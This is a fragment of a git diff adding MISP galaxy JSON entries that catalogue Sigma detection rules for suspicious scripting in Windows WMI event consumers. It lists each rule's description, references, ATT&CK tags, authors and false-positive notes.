"2021/09/01", + "filename": "sysmon_wmi_susp_encoded_scripts.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "wmi_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious commands that are related to scripting/powershell in WMI Event Consumers", + "uuid": "fe21810c-2a8c-478f-8dd3-5a287fb2a0e0", + "value": "Suspicious Scripting in a WMI Consumer", + "meta": { + "refs": [ + "https://in.security/an-intro-into-abusing-and-identifying-wmi-event-subscriptions-for-persistence/", + "https://github.com/Neo23x0/signature-base/blob/615bf1f6bac3c1bdc417025c40c073e6c2771a76/yara/gen_susp_lnk_files.yar#L19", + "https://github.com/RiccardoAncarani/LiquidSnake", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/wmi_event/sysmon_wmi_susp_scripting.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.005" + ], + "creation_date": "2019/04/15", + "filename": "sysmon_wmi_susp_scripting.yml", + "author": "Florian Roth, Jonhnathan Ribeiro", + "level": "high", + "falsepositive": [ + "Legitimate administrative scripts" + ], + "logsource.category": "wmi_event", + "logsource.product": "windows" + } + } + ], + "version": 1 +} \ No newline at end of file diff --git a/galaxies/sigma-rules.json b/galaxies/sigma-rules.json new file mode 100644 index 0000000..f7b766c --- /dev/null +++ b/galaxies/sigma-rules.json @@ -0,0 +1,9 @@ +{ + "description": "Sigma Rules are used to detect suspicious behaviors related to threat actors, malware and tools", + "icon": "link", + "name": "Sigma-Rules", + "namespace": "misp", + "type": "sigma-rules", + "uuid": "9cf7cd2e-d5f1-48c4-9909-7896ba1c96b2", + "version": 1 +} \ No newline at end of file